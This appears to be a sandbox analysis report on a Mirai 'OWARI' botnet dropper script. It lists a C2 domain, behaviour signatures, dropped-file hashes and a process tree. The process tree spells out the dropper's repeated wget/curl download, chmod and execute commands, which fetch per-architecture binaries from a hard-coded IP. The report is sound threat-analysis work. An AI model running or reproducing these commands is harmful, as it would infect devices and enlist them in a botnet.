Analysis

  • max time kernel
    141s
  • max time network
    142s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    19/05/2026, 02:13

General

  • Target
    ea6764f95450a041b2826e7cc7158d917d15218e306a73efd64b1e0cadb9c2f2.sh
  • Size 1KB
  • Sample260519-cnpcgae18w
  • SHA256 ea6764f95450a041b2826e7cc7158d917d15218e306a73efd64b1e0cadb9c2f2
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • sopa1805.duckdns.org

Extracted

Family
  • mirai

Botnet
  • OWARI

Extracted

Family
  • mirai

Botnet
  • OWARI

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • sopa1805.duckdns.org

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • sopa1805.duckdns.org

Extracted

Family
  • mirai

Botnet
  • OWARI

C2
  • sopa1805.duckdns.org

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 61 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ea6764f95450a041b2826e7cc7158d917d15218e306a73efd64b1e0cadb9c2f2.sh
    /tmp/ea6764f95450a041b2826e7cc7158d917d15218e306a73efd64b1e0cadb9c2f2.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /usr/bin/wget
      wget http://87.121.79.193/upperarm
      2⤵
      • Writes file to tmp directory
      PID:649
    • /usr/bin/curl
      curl -O http://87.121.79.193/upperarm
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:668
    • /bin/chmod
      chmod +x upperarm
      2⤵
      • File and Directory Permissions Modification
      PID:671
    • /tmp/upperarm
      ./upperarm cpanel
      2⤵
      • Modifies Watchdog functionality
      • Enumerates active TCP sockets
      • Changes its process name
      • Reads system network configuration
      • Reads runtime system information
      PID:672
    • /bin/rm
      rm -rf upperarm
      2⤵
        PID:676
      • /bin/rm
        rm -rf "upperarm.*"
        2⤵
          PID:679
        • /usr/bin/wget
          wget http://87.121.79.193/upperarm5
          2⤵
          • Writes file to tmp directory
          PID:680
        • /usr/bin/curl
          curl -O http://87.121.79.193/upperarm5
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:681
        • /bin/chmod
          chmod +x upperarm5
          2⤵
          • File and Directory Permissions Modification
          PID:682
        • /tmp/upperarm5
          ./upperarm5 cpanel
          2⤵
            PID:683
          • /bin/rm
            rm -rf upperarm5
            2⤵
              PID:684
            • /bin/rm
              rm -rf "upperarm5.*"
              2⤵
                PID:685
              • /usr/bin/wget
                wget http://87.121.79.193/upperarm6
                2⤵
                • Writes file to tmp directory
                PID:686
              • /usr/bin/curl
                curl -O http://87.121.79.193/upperarm6
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:697
              • /bin/chmod
                chmod +x upperarm6
                2⤵
                • File and Directory Permissions Modification
                PID:710
              • /tmp/upperarm6
                ./upperarm6 cpanel
                2⤵
                  PID:712
                • /bin/rm
                  rm -rf upperarm6
                  2⤵
                    PID:714
                  • /bin/rm
                    rm -rf "upperarm6.*"
                    2⤵
                      PID:715
                    • /usr/bin/wget
                      wget http://87.121.79.193/upperarm7
                      2⤵
                      • Writes file to tmp directory
                      PID:717
                    • /usr/bin/curl
                      curl -O http://87.121.79.193/upperarm7
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:731
                    • /bin/chmod
                      chmod +x upperarm7
                      2⤵
                      • File and Directory Permissions Modification
                      PID:739
                    • /tmp/upperarm7
                      ./upperarm7 cpanel
                      2⤵
                      • Changes its process name
                      PID:740
                    • /bin/rm
                      rm -rf upperarm7
                      2⤵
                        PID:741
                      • /bin/rm
                        rm -rf "upperarm7.*"
                        2⤵
                          PID:742
                        • /usr/bin/wget
                          wget http://87.121.79.193/upperm68k
                          2⤵
                          • Writes file to tmp directory
                          PID:743
                        • /usr/bin/curl
                          curl -O http://87.121.79.193/upperm68k
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:744
                        • /bin/chmod
                          chmod +x upperm68k
                          2⤵
                          • File and Directory Permissions Modification
                          PID:745
                        • /tmp/upperm68k
                          ./upperm68k cpanel
                          2⤵
                            PID:746
                          • /bin/rm
                            rm -rf upperm68k
                            2⤵
                              PID:748
                            • /bin/rm
                              rm -rf "upperm68k.*"
                              2⤵
                                PID:749
                              • /usr/bin/wget
                                wget http://87.121.79.193/uppermips
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:750
                              • /usr/bin/curl
                                curl -O http://87.121.79.193/uppermips
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:760
                              • /bin/chmod
                                chmod +x uppermips
                                2⤵
                                • File and Directory Permissions Modification
                                PID:774
                              • /tmp/uppermips
                                ./uppermips cpanel
                                2⤵
                                • System Network Configuration Discovery
                                PID:775
                              • /bin/rm
                                rm -rf uppermips
                                2⤵
                                • System Network Configuration Discovery
                                PID:778
                              • /bin/rm
                                rm -rf "uppermips.*"
                                2⤵
                                • System Network Configuration Discovery
                                PID:780
                              • /usr/bin/wget
                                wget http://87.121.79.193/uppermpsl
                                2⤵
                                • Writes file to tmp directory
                                PID:781
                              • /usr/bin/curl
                                curl -O http://87.121.79.193/uppermpsl
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:788
                              • /bin/chmod
                                chmod +x uppermpsl
                                2⤵
                                • File and Directory Permissions Modification
                                PID:789
                              • /tmp/uppermpsl
                                ./uppermpsl cpanel
                                2⤵
                                  PID:790
                                • /bin/rm
                                  rm -rf uppermpsl
                                  2⤵
                                    PID:792
                                  • /bin/rm
                                    rm -rf "uppermpsl.*"
                                    2⤵
                                      PID:793
                                    • /usr/bin/wget
                                      wget http://87.121.79.193/upperppc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:794
                                    • /usr/bin/curl
                                      curl -O http://87.121.79.193/upperppc
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:795
                                    • /bin/chmod
                                      chmod +x upperppc
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:796
                                    • /tmp/upperppc
                                      ./upperppc cpanel
                                      2⤵
                                        PID:797
                                      • /bin/rm
                                        rm -rf upperppc
                                        2⤵
                                          PID:800
                                        • /bin/rm
                                          rm -rf "upperppc.*"
                                          2⤵
                                            PID:801
                                          • /usr/bin/wget
                                            wget http://87.121.79.193/uppersh4
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:802
                                          • /usr/bin/curl
                                            curl -O http://87.121.79.193/uppersh4
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:803
                                          • /bin/chmod
                                            chmod +x uppersh4
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:804
                                          • /tmp/uppersh4
                                            ./uppersh4 cpanel
                                            2⤵
                                              PID:805
                                            • /bin/rm
                                              rm -rf uppersh4
                                              2⤵
                                                PID:807
                                              • /bin/rm
                                                rm -rf "uppersh4.*"
                                                2⤵
                                                  PID:808
                                                • /usr/bin/wget
                                                  wget http://87.121.79.193/upperspc
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:809
                                                • /usr/bin/curl
                                                  curl -O http://87.121.79.193/upperspc
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:810
                                                • /bin/chmod
                                                  chmod +x upperspc
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:812
                                                • /tmp/upperspc
                                                  ./upperspc cpanel
                                                  2⤵
                                                    PID:813
                                                  • /bin/rm
                                                    rm -rf upperspc
                                                    2⤵
                                                      PID:815
                                                    • /bin/rm
                                                      rm -rf "upperspc.*"
                                                      2⤵
                                                        PID:816
                                                      • /usr/bin/wget
                                                        wget http://87.121.79.193/upperx64
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:818
                                                      • /usr/bin/curl
                                                        curl -O http://87.121.79.193/upperx64
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:819
                                                      • /bin/chmod
                                                        chmod +x upperx64
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:820
                                                      • /tmp/upperx64
                                                        ./upperx64 cpanel
                                                        2⤵
                                                          PID:821
                                                        • /bin/rm
                                                          rm -rf upperx64
                                                          2⤵
                                                            PID:823
                                                          • /bin/rm
                                                            rm -rf "upperx64.*"
                                                            2⤵
                                                              PID:824
                                                            • /usr/bin/wget
                                                              wget http://87.121.79.193/upperx86
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:825
                                                            • /usr/bin/curl
                                                              curl -O http://87.121.79.193/upperx86
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:826
                                                            • /bin/chmod
                                                              chmod +x upperx86
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:827
                                                            • /tmp/upperx86
                                                              ./upperx86 cpanel
                                                              2⤵
                                                                PID:828
                                                              • /bin/rm
                                                                rm -rf upperx86
                                                                2⤵
                                                                  PID:830
                                                                • /bin/rm
                                                                  rm -rf "upperx86.*"
                                                                  2⤵
                                                                    PID:831

                                                                Network

                                                                      MITRE ATT&CK Enterprise v16

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      upperarm

                                                                      • Path /tmp/upperarm
                                                                      • Size 43KB
                                                                      • SHA256 3f15e1aa24c954d90a3d1be083796fdb4d2ec97747bd7f1443f568c7cd0a9569
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperarm5

                                                                      • Path /tmp/upperarm5
                                                                      • Size 36KB
                                                                      • SHA256 f869e1756e74e7d8f86424ddc1bb1bc2af4deec739376c43149963dcd620437d
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperarm6

                                                                      • Path /tmp/upperarm6
                                                                      • Size 53KB
                                                                      • SHA256 1a59b44271e873fbbbe7b142c598723725f3838aeb31ad2389f31eef6a5315fa
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperarm7

                                                                      • Path /tmp/upperarm7
                                                                      • Size 111KB
                                                                      • SHA256 be27d319f75643466bcfdbbfbd522616cd38771102dcd7af6bfe7a1b088228c6
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperm68k

                                                                      • Path /tmp/upperm68k
                                                                      • Size 42KB
                                                                      • SHA256 7cd1d037e07aae06ee395005504aaefa652d463ab3751609903f3a71aef8e7be
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      uppermips

                                                                      • Path /tmp/uppermips
                                                                      • Size 55KB
                                                                      • SHA256 cbbe7ef922e2127c492e4a0fcf56e198e330c964512c92bdd34ece7e08a6d2ce
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      uppermpsl

                                                                      • Path /tmp/uppermpsl
                                                                      • Size 57KB
                                                                      • SHA256 8c1a4551875c3178da248817353976b68d44174ecb9e73d9ded7c365bb2f6bfc
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperppc

                                                                      • Path /tmp/upperppc
                                                                      • Size 40KB
                                                                      • SHA256 6bc133276ca529863571f49aeea200ea88720827afd2c99450278473cc467c6e
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      uppersh4

                                                                      • Path /tmp/uppersh4
                                                                      • Size 38KB
                                                                      • SHA256 82b2d959f05dff769caf3609d40624c268940ea47181dcbc0ef1fe9e09f06dd2
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperspc

                                                                      • Path /tmp/upperspc
                                                                      • Size 45KB
                                                                      • SHA256 e5428a65be4c6471ee1d6de70cce489fa5319b7310a21ab8a3d9b8f3e44e7759
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperx64

                                                                      • Path /tmp/upperx64
                                                                      • Size 41KB
                                                                      • SHA256 382532451215dd8a3c5fa070ced106e02f3eceb33bb4ff20c1c3c1d800ed587a
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                      upperx86

                                                                      • Path /tmp/upperx86
                                                                      • Size 38KB
                                                                      • SHA256 627cc90fa904cce1ef93c46100d9eefe326674263a4aeb95ceb61f3be5788c9d
                                                                      • MD5 SHA1 SHA512 SSDEEP TLSH